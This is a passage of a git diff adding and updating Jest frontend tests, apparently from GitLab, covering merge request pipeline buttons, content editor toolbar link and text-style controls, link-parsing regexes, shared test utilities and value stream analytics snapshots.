+ pipelineCopy = { ...pipeline };
+ });
+
+ describe('when latest pipeline has detached flag', () => {
+ it('renders the run pipeline button', async () => {
+ pipelineCopy.flags.detached_merge_request_pipeline = true;
+ pipelineCopy.flags.merge_request_pipeline = true;
+
+ mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
+
+ createComponent();
+
+ await waitForPromises();
+
+ expect(findRunPipelineBtn().exists()).toBe(true);
+ expect(findRunPipelineBtnMobile().exists()).toBe(true);
+ });
+ });
+
+ describe('when latest pipeline does not have detached flag', () => {
+ it('does not render the run pipeline button', async () => {
+ pipelineCopy.flags.detached_merge_request_pipeline = false;
+ pipelineCopy.flags.merge_request_pipeline = false;
+
+ mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
+
+ createComponent();
+
+ await waitForPromises();
+
+ expect(findRunPipelineBtn().exists()).toBe(false);
+ expect(findRunPipelineBtnMobile().exists()).toBe(false);
+ });
+ });
+
+ describe('on click', () => {
+ beforeEach(async () => {
+ pipelineCopy.flags.detached_merge_request_pipeline = true;
+
+ mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
+
+ createComponent({
+ canRunPipeline: true,
+ projectId: '5',
+ mergeRequestId: 3,
+ });
+
+ jest.spyOn(Api, 'postMergeRequestPipeline').mockReturnValue(Promise.resolve());
+
+ await waitForPromises();
+ });
+
+ it('on desktop, shows a loading button', async () => {
+ await findRunPipelineBtn().trigger('click');
+
+ expect(findRunPipelineBtn().props('loading')).toBe(true);
+
+ await waitForPromises();
+
+ expect(findRunPipelineBtn().props('loading')).toBe(false);
+ });
+
+ it('on mobile, shows a loading button', async () => {
+ await findRunPipelineBtnMobile().trigger('click');
+
+ expect(findRunPipelineBtn().props('loading')).toBe(true);
+
+ await waitForPromises();
+
+ expect(findRunPipelineBtn().props('disabled')).toBe(false);
+ expect(findRunPipelineBtn().props('loading')).toBe(false);
+ });
+ });
+
+ describe('on click for fork merge request', () => {
+ beforeEach(async () => {
+ pipelineCopy.flags.detached_merge_request_pipeline = true;
+
+ mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
+
+ createComponent({
+ projectId: '5',
+ mergeRequestId: 3,
+ canCreatePipelineInTargetProject: true,
+ sourceProjectFullPath: 'test/parent-project',
+ targetProjectFullPath: 'test/fork-project',
+ });
+
+ jest.spyOn(Api, 'postMergeRequestPipeline').mockReturnValue(Promise.resolve());
+
+ await waitForPromises();
+ });
+
+ it('on desktop, shows a security warning modal', async () => {
+ await findRunPipelineBtn().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findModal()).not.toBeNull();
+ });
+
+ it('on mobile, shows a security warning modal', async () => {
+ await findRunPipelineBtnMobile().trigger('click');
+
+ expect(findModal()).not.toBeNull();
+ });
+ });
+ });
+
+ describe('unsuccessfull request', () => {
+ beforeEach(async () => {
+ mock.onGet('endpoint.json').reply(500, []);
+
+ createComponent();
+
+ await waitForPromises();
+ });
+
+ it('should render error state', () => {
+ expect(findEmptyState().text()).toBe(
+ 'There was an error fetching the pipelines. Try again in a few moments or contact your support team.',
+ );
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap b/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap
new file mode 100644
index 00000000000..e56c37b0dc9
--- /dev/null
+++ b/spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap
@@ -0,0 +1,36 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`content_editor/components/toolbar_link_button renders dropdown component 1`] = `
+"<div class=\\"dropdown b-dropdown gl-new-dropdown btn-group\\" aria-label=\\"Insert link\\" title=\\"Insert link\\">
+ <!----><button aria-haspopup=\\"true\\" aria-expanded=\\"false\\" type=\\"button\\" class=\\"btn dropdown-toggle btn-default btn-sm gl-button gl-dropdown-toggle btn-default-tertiary dropdown-icon-only\\">
+ <!----> <svg data-testid=\\"link-icon\\" role=\\"img\\" aria-hidden=\\"true\\" class=\\"dropdown-icon gl-icon s16\\">
+ <use href=\\"#link\\"></use>
+ </svg> <span class=\\"gl-new-dropdown-button-text\\"></span> <svg data-testid=\\"chevron-down-icon\\" role=\\"img\\" aria-hidden=\\"true\\" class=\\"gl-button-icon dropdown-chevron gl-icon s16\\">
+ <use href=\\"#chevron-down\\"></use>
+ </svg></button>
+ <ul role=\\"menu\\" tabindex=\\"-1\\" class=\\"dropdown-menu\\">
+ <div class=\\"gl-new-dropdown-inner\\">
+ <!---->
+ <div class=\\"gl-new-dropdown-contents\\">
+ <li role=\\"presentation\\" class=\\"gl-px-3!\\">
+ <form tabindex=\\"-1\\" class=\\"b-dropdown-form gl-p-0\\">
+ <div placeholder=\\"Link URL\\">
+ <div role=\\"group\\" class=\\"input-group\\">
+ <!---->
+ <!----> <input type=\\"text\\" placeholder=\\"Link URL\\" class=\\"gl-form-input form-control\\">
+ <div class=\\"input-group-append\\"><button type=\\"button\\" class=\\"btn btn-confirm btn-md gl-button\\">
+ <!---->
+ <!----> <span class=\\"gl-button-text\\">Apply</span></button></div>
+ <!---->
+ </div>
+ </div>
+ </form>
+ </li>
+ <!---->
+ <!---->
+ </div>
+ <!---->
+ </div>
+ </ul>
+</div>"
+`;
diff --git a/spec/frontend/content_editor/components/content_editor_spec.js b/spec/frontend/content_editor/components/content_editor_spec.js
index e3741032bf4..59c4190ad3a 100644
--- a/spec/frontend/content_editor/components/content_editor_spec.js
+++ b/spec/frontend/content_editor/components/content_editor_spec.js
@@ -27,7 +27,10 @@ describe('ContentEditor', () => {
it('renders editor content component and attaches editor instance', () => {
createWrapper(editor);
- expect(wrapper.findComponent(EditorContent).props().editor).toBe(editor.tiptapEditor);
+ const editorContent = wrapper.findComponent(EditorContent);
+
+ expect(editorContent.props().editor).toBe(editor.tiptapEditor);
+ expect(editorContent.classes()).toContain('md');
});
it('renders top toolbar component and attaches editor instance', () => {
@@ -38,8 +41,8 @@ describe('ContentEditor', () => {
it.each`
isFocused | classes
- ${true} | ${['md', 'md-area', 'is-focused']}
- ${false} | ${['md', 'md-area']}
+ ${true} | ${['md-area', 'is-focused']}
+ ${false} | ${['md-area']}
`(
'has $classes class selectors when tiptapEditor.isFocused = $isFocused',
({ isFocused, classes }) => {
diff --git a/spec/frontend/content_editor/components/toolbar_link_button_spec.js b/spec/frontend/content_editor/components/toolbar_link_button_spec.js
new file mode 100644
index 00000000000..812e769c891
--- /dev/null
+++ b/spec/frontend/content_editor/components/toolbar_link_button_spec.js
@@ -0,0 +1,151 @@
+import { GlDropdown, GlDropdownDivider, GlFormInputGroup, GlButton } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import ToolbarLinkButton from '~/content_editor/components/toolbar_link_button.vue';
+import { tiptapExtension as Link } from '~/content_editor/extensions/link';
+import { hasSelection } from '~/content_editor/services/utils';
+import { createTestEditor, mockChainedCommands } from '../test_utils';
+
+jest.mock('~/content_editor/services/utils');
+
+describe('content_editor/components/toolbar_link_button', () => {
+ let wrapper;
+ let editor;
+
+ const buildWrapper = () => {
+ wrapper = mountExtended(ToolbarLinkButton, {
+ propsData: {
+ tiptapEditor: editor,
+ },
+ stubs: {
+ GlFormInputGroup,
+ },
+ });
+ };
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownDivider = () => wrapper.findComponent(GlDropdownDivider);
+ const findLinkURLInput = () => wrapper.findComponent(GlFormInputGroup).find('input[type="text"]');
+ const findApplyLinkButton = () => wrapper.findComponent(GlButton);
+ const findRemoveLinkButton = () => wrapper.findByText('Remove link');
+
+ beforeEach(() => {
+ editor = createTestEditor({
+ extensions: [Link],
+ });
+ });
+
+ afterEach(() => {
+ editor.destroy();
+ wrapper.destroy();
+ });
+
+ it('renders dropdown component', () => {
+ buildWrapper();
+
+ expect(findDropdown().html()).toMatchSnapshot();
+ });
+
+ describe('when there is an active link', () => {
+ beforeEach(() => {
+ jest.spyOn(editor, 'isActive');
+ editor.isActive.mockReturnValueOnce(true);
+ buildWrapper();
+ });
+
+ it('sets dropdown as active when link extension is active', () => {
+ expect(findDropdown().props('toggleClass')).toEqual({ active: true });
+ });
+
+ it('displays a remove link dropdown option', () => {
+ expect(findDropdownDivider().exists()).toBe(true);
+ expect(wrapper.findByText('Remove link').exists()).toBe(true);
+ });
+
+ it('executes removeLink command when the remove link option is clicked', async () => {
+ const commands = mockChainedCommands(editor, ['focus', 'unsetLink', 'run']);
+
+ await findRemoveLinkButton().trigger('click');
+
+ expect(commands.unsetLink).toHaveBeenCalled();
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.run).toHaveBeenCalled();
+ });
+
+ it('updates the link with a new link when "Apply" button is clicked', async () => {
+ const commands = mockChainedCommands(editor, ['focus', 'unsetLink', 'setLink', 'run']);
+
+ await findLinkURLInput().setValue('https://example');
+ await findApplyLinkButton().trigger('click');
+
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.unsetLink).toHaveBeenCalled();
+ expect(commands.setLink).toHaveBeenCalledWith({ href: 'https://example' });
+ expect(commands.run).toHaveBeenCalled();
+ });
+ });
+
+ describe('when there is not an active link', () => {
+ beforeEach(() => {
+ jest.spyOn(editor, 'isActive');
+ editor.isActive.mockReturnValueOnce(false);
+ buildWrapper();
+ });
+
+ it('does not set dropdown as active', () => {
+ expect(findDropdown().props('toggleClass')).toEqual({ active: false });
+ });
+
+ it('does not display a remove link dropdown option', () => {
+ expect(findDropdownDivider().exists()).toBe(false);
+ expect(wrapper.findByText('Remove link').exists()).toBe(false);
+ });
+
+ it('sets the link to the value in the URL input when "Apply" button is clicked', async () => {
+ const commands = mockChainedCommands(editor, ['focus', 'unsetLink', 'setLink', 'run']);
+
+ await findLinkURLInput().setValue('https://example');
+ await findApplyLinkButton().trigger('click');
+
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.setLink).toHaveBeenCalledWith({ href: 'https://example' });
+ expect(commands.run).toHaveBeenCalled();
+ });
+ });
+
+ describe('when the user displays the dropdown', () => {
+ let commands;
+
+ beforeEach(() => {
+ commands = mockChainedCommands(editor, ['focus', 'extendMarkRange', 'run']);
+ });
+
+ describe('given the user has not selected text', () => {
+ beforeEach(() => {
+ hasSelection.mockReturnValueOnce(false);
+ });
+
+ it('the editor selection is extended to the current mark extent', () => {
+ buildWrapper();
+
+ findDropdown().vm.$emit('show');
+ expect(commands.extendMarkRange).toHaveBeenCalledWith(Link.name);
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.run).toHaveBeenCalled();
+ });
+ });
+
+ describe('given the user has selected text', () => {
+ beforeEach(() => {
+ hasSelection.mockReturnValueOnce(true);
+ });
+
+ it('the editor does not modify the current selection', () => {
+ buildWrapper();
+
+ findDropdown().vm.$emit('show');
+ expect(commands.extendMarkRange).not.toHaveBeenCalled();
+ expect(commands.focus).not.toHaveBeenCalled();
+ expect(commands.run).not.toHaveBeenCalled();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
new file mode 100644
index 00000000000..8c54f6bb8bb
--- /dev/null
+++ b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
@@ -0,0 +1,131 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ToolbarTextStyleDropdown from '~/content_editor/components/toolbar_text_style_dropdown.vue';
+import { TEXT_STYLE_DROPDOWN_ITEMS } from '~/content_editor/constants';
+import { createTestContentEditorExtension, createTestEditor } from '../test_utils';
+
+describe('content_editor/components/toolbar_headings_dropdown', () => {
+ let wrapper;
+ let tiptapEditor;
+ let commandMocks;
+
+ const buildEditor = () => {
+ const testExtension = createTestContentEditorExtension({
+ commands: TEXT_STYLE_DROPDOWN_ITEMS.map((item) => item.editorCommand),
+ });
+
+ commandMocks = testExtension.commandMocks;
+ tiptapEditor = createTestEditor({
+ extensions: [testExtension.tiptapExtension],
+ });
+
+ jest.spyOn(tiptapEditor, 'isActive');
+ };
+
+ const buildWrapper = (propsData = {}) => {
+ wrapper = shallowMountExtended(ToolbarTextStyleDropdown, {
+ stubs: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ propsData: {
+ tiptapEditor,
+ ...propsData,
+ },
+ });
+ };
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+
+ beforeEach(() => {
+ buildEditor();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders all text styles as dropdown items', () => {
+ buildWrapper();
+
+ TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle) => {
+ expect(wrapper.findByText(textStyle.label).exists()).toBe(true);
+ });
+ });
+
+ describe('when there is an active item ', () => {
+ let activeTextStyle;
+
+ beforeEach(() => {
+ [, activeTextStyle] = TEXT_STYLE_DROPDOWN_ITEMS;
+
+ tiptapEditor.isActive.mockImplementation(
+ (contentType, params) =>
+ activeTextStyle.contentType === contentType && activeTextStyle.commandParams === params,
+ );
+
+ buildWrapper();
+ });
+
+ it('displays the active text style label as the dropdown toggle text ', () => {
+ expect(findDropdown().props().text).toBe(activeTextStyle.label);
+ });
+
+ it('sets dropdown as enabled', () => {
+ expect(findDropdown().props().disabled).toBe(false);
+ });
+
+ it('sets active item as active', () => {
+ const activeItem = wrapper
+ .findAllComponents(GlDropdownItem)
+ .filter((item) => item.text() === activeTextStyle.label)
+ .at(0);
+ expect(activeItem.props().isChecked).toBe(true);
+ });
+ });
+
+ describe('when there isn’t an active item', () => {
+ beforeEach(() => {
+ tiptapEditor.isActive.mockReturnValue(false);
+ buildWrapper();
+ });
+
+ it('sets dropdown as disabled', () => {
+ expect(findDropdown().props().disabled).toBe(true);
+ });
+
+ it('sets dropdown toggle text to Text style', () => {
+ expect(findDropdown().props().text).toBe('Text style');
+ });
+ });
+
+ describe('when a text style is selected', () => {
+ it('executes the tiptap command related to that text style', () => {
+ buildWrapper();
+
+ TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle, index) => {
+ const { editorCommand, commandParams } = textStyle;
+
+ wrapper.findAllComponents(GlDropdownItem).at(index).vm.$emit('click');
+ expect(commandMocks[editorCommand]).toHaveBeenCalledWith(commandParams || {});
+ });
+ });
+
+ it('emits execute event with contentType and value params that indicates the heading level', () => {
+ TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle, index) => {
+ buildWrapper();
+ const { contentType, commandParams } = textStyle;
+
+ wrapper.findAllComponents(GlDropdownItem).at(index).vm.$emit('click');
+ expect(wrapper.emitted('execute')).toEqual([
+ [
+ {
+ contentType,
+ value: commandParams?.level,
+ },
+ ],
+ ]);
+ wrapper.destroy();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/components/top_toolbar_spec.js b/spec/frontend/content_editor/components/top_toolbar_spec.js
index 8f47be3f489..0a1405a1774 100644
--- a/spec/frontend/content_editor/components/top_toolbar_spec.js
+++ b/spec/frontend/content_editor/components/top_toolbar_spec.js
@@ -39,32 +39,35 @@ describe('content_editor/components/top_toolbar', () => {
});
describe.each`
- testId | buttonProps
+ testId | controlProps
${'bold'} | ${{ contentType: 'bold', iconName: 'bold', label: 'Bold text', editorCommand: 'toggleBold' }}
${'italic'} | ${{ contentType: 'italic', iconName: 'italic', label: 'Italic text', editorCommand: 'toggleItalic' }}
${'code'} | ${{ contentType: 'code', iconName: 'code', label: 'Code', editorCommand: 'toggleCode' }}
${'blockquote'} | ${{ contentType: 'blockquote', iconName: 'quote', label: 'Insert a quote', editorCommand: 'toggleBlockquote' }}
${'bullet-list'} | ${{ contentType: 'bulletList', iconName: 'list-bulleted', label: 'Add a bullet list', editorCommand: 'toggleBulletList' }}
${'ordered-list'} | ${{ contentType: 'orderedList', iconName: 'list-numbered', label: 'Add a numbered list', editorCommand: 'toggleOrderedList' }}
- `('given a $testId toolbar control', ({ testId, buttonProps }) => {
+ ${'code-block'} | ${{ contentType: 'codeBlock', iconName: 'doc-code', label: 'Insert a code block', editorCommand: 'toggleCodeBlock' }}
+ ${'text-styles'} | ${{}}
+ ${'link'} | ${{}}
+ `('given a $testId toolbar control', ({ testId, controlProps }) => {
beforeEach(() => {
buildWrapper();
});
it('renders the toolbar control with the provided properties', () => {
expect(wrapper.findByTestId(testId).props()).toEqual({
- ...buttonProps,
+ ...controlProps,
tiptapEditor: contentEditor.tiptapEditor,
});
});
it.each`
- control | eventData
- ${'bold'} | ${{ contentType: 'bold' }}
- ${'blockquote'} | ${{ contentType: 'blockquote', value: 1 }}
- `('tracks the execution of toolbar controls', ({ control, eventData }) => {
+ eventData
+ ${{ contentType: 'bold' }}
+ ${{ contentType: 'blockquote', value: 1 }}
+ `('tracks the execution of toolbar controls', ({ eventData }) => {
const { contentType, value } = eventData;
- wrapper.findByTestId(control).vm.$emit('execute', eventData);
+ wrapper.findByTestId(testId).vm.$emit('execute', eventData);
expect(trackingSpy).toHaveBeenCalledWith(undefined, TOOLBAR_CONTROL_TRACKING_ACTION, {
label: CONTENT_EDITOR_TRACKING_LABEL,
diff --git a/spec/frontend/content_editor/extensions/code_block_highlight_spec.js b/spec/frontend/content_editor/extensions/code_block_highlight_spec.js
new file mode 100644
index 00000000000..cc695ffe241
--- /dev/null
+++ b/spec/frontend/content_editor/extensions/code_block_highlight_spec.js
@@ -0,0 +1,37 @@
+import { tiptapExtension as CodeBlockHighlight } from '~/content_editor/extensions/code_block_highlight';
+import { loadMarkdownApiResult } from '../markdown_processing_examples';
+import { createTestEditor } from '../test_utils';
+
+describe('content_editor/extensions/code_block_highlight', () => {
+ let codeBlockHtmlFixture;
+ let parsedCodeBlockHtmlFixture;
+ let tiptapEditor;
+
+ const parseHTML = (html) => new DOMParser().parseFromString(html, 'text/html');
+ const preElement = () => parsedCodeBlockHtmlFixture.querySelector('pre');
+
+ beforeEach(() => {
+ const { html } = loadMarkdownApiResult('code_block');
+
+ tiptapEditor = createTestEditor({ extensions: [CodeBlockHighlight] });
+ codeBlockHtmlFixture = html;
+ parsedCodeBlockHtmlFixture = parseHTML(codeBlockHtmlFixture);
+
+ tiptapEditor.commands.setContent(codeBlockHtmlFixture);
+ });
+
+ it('extracts language and params attributes from Markdown API output', () => {
+ const language = preElement().getAttribute('lang');
+
+ expect(tiptapEditor.getJSON().content[0].attrs).toMatchObject({
+ language,
+ params: language,
+ });
+ });
+
+ it('adds code, highlight, and js-syntax-highlight to code block element', () => {
+ const editorHtmlOutput = parseHTML(tiptapEditor.getHTML()).querySelector('pre');
+
+ expect(editorHtmlOutput.classList.toString()).toContain('code highlight js-syntax-highlight');
+ });
+});
diff --git a/spec/frontend/content_editor/extensions/link_spec.js b/spec/frontend/content_editor/extensions/link_spec.js
new file mode 100644
index 00000000000..026b2a06df3
--- /dev/null
+++ b/spec/frontend/content_editor/extensions/link_spec.js
@@ -0,0 +1,61 @@
+import {
+ markdownLinkSyntaxInputRuleRegExp,
+ urlSyntaxRegExp,
+ extractHrefFromMarkdownLink,
+} from '~/content_editor/extensions/link';
+
+describe('content_editor/extensions/link', () => {
+ describe.each`
+ input | matches
+ ${'[gitlab](https://gitlab.com)'} | ${true}
+ ${'[documentation](readme.md)'} | ${true}
+ ${'[link 123](readme.md)'} | ${true}
+ ${'[link 123](read me.md)'} | ${true}
+ ${'text'} | ${false}
+ ${'documentation](readme.md'} | ${false}
+ ${'https://www.google.com'} | ${false}
+ `('markdownLinkSyntaxInputRuleRegExp', ({ input, matches }) => {
+ it(`${matches ? 'matches' : 'does not match'} ${input}`, () => {
+ const match = new RegExp(markdownLinkSyntaxInputRuleRegExp).exec(input);
+
+ expect(Boolean(match?.groups.href)).toBe(matches);
+ });
+ });
+
+ describe.each`
+ input | matches
+ ${'http://example.com '} | ${true}
+ ${'https://example.com '} | ${true}
+ ${'www.example.com '} | ${true}
+ ${'example.com/ab.html '} | ${false}
+ ${'text'} | ${false}
+ ${' http://example.com '} | ${true}
+ ${'https://www.google.com '} | ${true}
+ `('urlSyntaxRegExp', ({ input, matches }) => {
+ it(`${matches ? 'matches' : 'does not match'} ${input}`, () => {
+ const match = new RegExp(urlSyntaxRegExp).exec(input);
+
+ expect(Boolean(match?.groups.href)).toBe(matches);
+ });
+ });
+
+ describe('extractHrefFromMarkdownLink', () => {
+ const input = '[gitlab](https://gitlab.com)';
+ const href = 'https://gitlab.com';
+ let match;
+ let result;
+
+ beforeEach(() => {
+ match = new RegExp(markdownLinkSyntaxInputRuleRegExp).exec(input);
+ result = extractHrefFromMarkdownLink(match);
+ });
+
+ it('extracts the url from a markdown link captured by markdownLinkSyntaxInputRuleRegExp', () => {
+ expect(result).toEqual({ href });
+ });
+
+ it('makes sure that url text is the last capture group', () => {
+ expect(match[match.length - 1]).toEqual('gitlab');
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js b/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
index 437714ba938..cf74b5c56c9 100644
--- a/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
+++ b/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
@@ -5,11 +5,8 @@ import { Heading } from '@tiptap/extension-heading';
import { ListItem } from '@tiptap/extension-list-item';
import { Paragraph } from '@tiptap/extension-paragraph';
import { Text } from '@tiptap/extension-text';
-import { Editor, EditorContent } from '@tiptap/vue-2';
-import { mount } from '@vue/test-utils';
-import { nextTick } from 'vue';
+import { Editor } from '@tiptap/vue-2';
import { mockTracking } from 'helpers/tracking_helper';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import {
KEYBOARD_SHORTCUT_TRACKING_ACTION,
INPUT_RULE_TRACKING_ACTION,
@@ -19,47 +16,33 @@ import trackInputRulesAndShortcuts from '~/content_editor/services/track_input_r
import { ENTER_KEY, BACKSPACE_KEY } from '~/lib/utils/keys';
describe('content_editor/services/track_input_rules_and_shortcuts', () => {
- let wrapper;
let trackingSpy;
let editor;
+ let trackedExtensions;
const HEADING_TEXT = 'Heading text';
-
- const buildWrapper = () => {
- wrapper = extendedWrapper(
- mount(EditorContent, {
- propsData: {
- editor,
- },
- }),
- );
- };
+ const extensions = [Document, Paragraph, Text, Heading, CodeBlockLowlight, BulletList, ListItem];
beforeEach(() => {
trackingSpy = mockTracking(undefined, null, jest.spyOn);
});
- afterEach(() => {
- wrapper.destroy();
- });
-
describe('given the heading extension is instrumented', () => {
beforeEach(() => {
+ trackedExtensions = extensions.map(trackInputRulesAndShortcuts);
editor = new Editor({
- extensions: [
- Document,
- Paragraph,
- Text,
- Heading,
- CodeBlockLowlight,
- BulletList,
- ListItem,
- ].map(trackInputRulesAndShortcuts),
+ extensions: extensions.map(trackInputRulesAndShortcuts),
});
});
- beforeEach(async () => {
- buildWrapper();
- await nextTick();
+ it('does not remove existing keyboard shortcuts', () => {
+ extensions.forEach((extension, index) => {
+ const originalShortcuts = Object.keys(extension.addKeyboardShortcuts?.() || {});
+ const trackedShortcuts = Object.keys(
+ trackedExtensions[index].addKeyboardShortcuts?.() || {},
+ );
+
+ expect(originalShortcuts).toEqual(trackedShortcuts);
+ });
});
describe('when creating a heading using an keyboard shortcut', () => {
diff --git a/spec/frontend/content_editor/test_utils.js b/spec/frontend/content_editor/test_utils.js
index a92ceb6d058..8e73aef678b 100644
--- a/spec/frontend/content_editor/test_utils.js
+++ b/spec/frontend/content_editor/test_utils.js
@@ -1,34 +1,106 @@
import { Node } from '@tiptap/core';
+import { Document } from '@tiptap/extension-document';
+import { Paragraph } from '@tiptap/extension-paragraph';
+import { Text } from '@tiptap/extension-text';
+import { Editor } from '@tiptap/vue-2';
-export const createTestContentEditorExtension = () => ({
- tiptapExtension: Node.create({
- name: 'label',
- priority: 101,
- inline: true,
- group: 'inline',
- addAttributes() {
- return {
- labelName: {
- default: null,
- parseHTML: (element) => {
- return { labelName: element.dataset.labelName };
+/**
+ * Creates an instance of the Tiptap Editor class
+ * with a minimal configuration for testing purposes.
+ *
+ * It only includes the Document, Text, and Paragraph
+ * extensions.
+ *
+ * @param {Array} config.extensions One or more extensions to
+ * include in the editor
+ * @returns An instance of a Tiptap’s Editor class
+ */
+export const createTestEditor = ({ extensions = [] }) => {
+ return new Editor({
+ extensions: [Document, Text, Paragraph, ...extensions],
+ });
+};
+
+export const mockChainedCommands = (editor, commandNames = []) => {
+ const commandMocks = commandNames.reduce(
+ (accum, commandName) => ({
+ ...accum,
+ [commandName]: jest.fn(),
+ }),
+ {},
+ );
+
+ Object.keys(commandMocks).forEach((commandName) => {
+ commandMocks[commandName].mockReturnValue(commandMocks);
+ });
+
+ jest.spyOn(editor, 'chain').mockImplementation(() => commandMocks);
+
+ return commandMocks;
+};
+
+/**
+ * Creates a Content Editor extension for testing
+ * purposes.
+ *
+ * @param {Array} config.commands A list of command names
+ * to include in the test extension. This utility will create
+ * Jest mock functions for each command name.
+ * @returns An object with the following properties:
+ *
+ * tiptapExtension A Node tiptap extension
+ * commandMocks Jest mock functions for each created command
+ * serializer A markdown serializer for the extension
+ */
+export const createTestContentEditorExtension = ({ commands = [] } = {}) => {
+ const commandMocks = commands.reduce(
+ (accum, commandName) => ({
+ ...accum,
+ [commandName]: jest.fn(),
+ }),
+ {},
+ );
+
+ return {
+ commandMocks,
+ tiptapExtension: Node.create({
+ name: 'label',
+ priority: 101,
+ inline: true,
+ group: 'inline',
+ addCommands() {
+ return commands.reduce(
+ (accum, commandName) => ({
+ ...accum,
+ [commandName]: (...params) => () => commandMocks[commandName](...params),
+ }),
+ {},
+ );
+ },
+ addAttributes() {
+ return {
+ labelName: {
+ default: null,
+ parseHTML: (element) => {
+ return { labelName: element.dataset.labelName };
+ },
},
- },
- };
- },
- parseHTML() {
- return [
- {
- tag: 'span[data-reference="label"]',
- },
- ];
- },
- renderHTML({ HTMLAttributes }) {
- return ['span', HTMLAttributes, 0];
+ };
+ },
+ parseHTML() {
+ return [
+ {
+ tag: 'span[data-reference="label"]',
+ },
+ ];
+ },
+ renderHTML({ HTMLAttributes }) {
+ return ['span', HTMLAttributes, 0];
+ },
+ }),
+ serializer: (state, node) => {
+ state.write(`~${node.attrs.labelName}`);
+ state.closeBlock(node);
},
- }),
- serializer: (state, node) => {
- state.write(`~${node.attrs.labelName}`);
- state.closeBlock(node);
- },
-});
+ };
+};
diff --git a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
index f10cf4b4140..8d7b22fe4ff 100644
--- a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
+++ b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
@@ -24,7 +24,7 @@ import {
CREATE_CLUSTER_ERROR,
} from '~/create_cluster/eks_cluster/store/mutation_types';
import createState from '~/create_cluster/eks_cluster/store/state';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
jest.mock('~/flash');
@@ -358,7 +358,9 @@ describe('EKS Cluster Store Actions', () => {
testAction(actions.createClusterError, payload, state, [
{ type: CREATE_CLUSTER_ERROR, payload },
]).then(() => {
- expect(createFlash).toHaveBeenCalledWith(payload.name[0]);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: payload.name[0],
+ });
}));
});
});
diff --git a/spec/frontend/cycle_analytics/__snapshots__/base_spec.js.snap b/spec/frontend/cycle_analytics/__snapshots__/base_spec.js.snap
new file mode 100644
index 00000000000..1af612ed029
--- /dev/null
+++ b/spec/frontend/cycle_analytics/__snapshots__/base_spec.js.snap
@@ -0,0 +1,9 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Value stream analytics component isEmptyStage = true renders the empty stage with \`Not enough data\` message 1`] = `"<gl-empty-state-stub title=\\"We don't have enough data to show this stage.\\" svgpath=\\"path/to/no/data\\" description=\\"The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage.\\" class=\\"js-empty-state\\"></gl-empty-state-stub>"`;
+
+exports[`Value stream analytics component isEmptyStage = true with a selectedStageError renders the empty stage with \`There is too much data to calculate\` message 1`] = `"<gl-empty-state-stub title=\\"There is too much data to calculate\\" svgpath=\\"path/to/no/data\\" description=\\"\\" class=\\"js-empty-state\\"></gl-empty-state-stub>"`;
+
+exports[`Value stream analytics component isLoading = true renders the path navigation component with prop \`loading\` set to true 1`] = `"<path-navigation-stub loading=\\"true\\" stages=\\"\\" selectedstage=\\"[object Object]\\" class=\\"js-path-navigation gl-w-full gl-pb-2\\"></path-navigation-stub>"`;
+
+exports[`Value stream analytics component without enough permissions renders the empty stage with \`You need permission\` message 1`] = `"<gl-empty-state-stub title=\\"You need permission.\\" svgpath=\\"path/to/no/access\\" description=\\"Want to see the data? Please ask an administrator for access.\\" class=\\"js-empty-state\\"></gl-empty-state-stub>"`;
diff --git a/spec/frontend/cycle_analytics/base_spec.js b/spec/frontend/cycle_analytics/base_spec.js
new file mode 100644
index 00000000000..2f85cc04051
--- /dev/null
+++ b/spec/frontend/cycle_analytics/base_spec.js
@@ -0,0 +1,197 @@
+import { GlLoadingIcon, GlEmptyState } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import Vuex from 'vuex';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import BaseComponent from '~/cycle_analytics/components/base.vue';
+import PathNavigation from '~/cycle_analytics/components/path_navigation.vue';
+import initState from '~/cycle_analytics/store/state';
+import { selectedStage, convertedEvents as selectedStageEvents } from './mock_data';
+
+const noDataSvgPath = 'path/to/no/data';
+const noAccessSvgPath = 'path/to/no/access';
+
+Vue.use(Vuex);
+
